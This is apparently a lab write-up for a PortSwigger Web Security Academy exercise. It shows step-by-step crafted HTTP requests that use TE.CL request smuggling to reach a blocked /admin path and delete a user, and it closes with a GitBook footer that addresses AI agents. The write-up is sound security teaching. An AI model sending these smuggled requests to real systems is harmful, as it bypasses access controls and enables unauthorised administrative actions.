> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/front-end-security-bypass-via-te-cl.md).
# Front-End Security Bypass via TE.CL
Front-End Security Bypass via TE.CL notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting HTTP Request Smuggling to Bypass Front-end Security Controls, TE.CL Vulnerability
The system is based on a front-end server and back-end server. / Back-end **does not handle chunked encoding**, while front-end **locks access to /admin**. / The goal is to **dissimulate a query to /admin** in order to delete the carlos user.
Although the application supports HTTP/2, exploitation is based on HTTP/1-specific techniques.
#### **Initial Observation**
The front-end correctly interprets `Transfer-Encoding: chunked`. / We first send a simple request:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### **Construction of the Request Smuggled**
A **new complete request** is injected into the chunked body.
#### **Preparatory Model**
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: size
Transfer-Encoding: chunked
size
GET /admin HTTP/1.1
Host: localhost
Content-Length: size
test=testing
0
```
#### **Size Adjustment**
A minimum `Content-Length` on the front-end side is fixed, followed by a chunk containing the smuggled query:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
The server interprets the injected request well.
#### **Injection of the Final Request to Delete Carlos**
The target query is replaced by a user deletion:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
This smuggled query is then processed directly by the back-end, completely bypassing the front-end filtering.
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
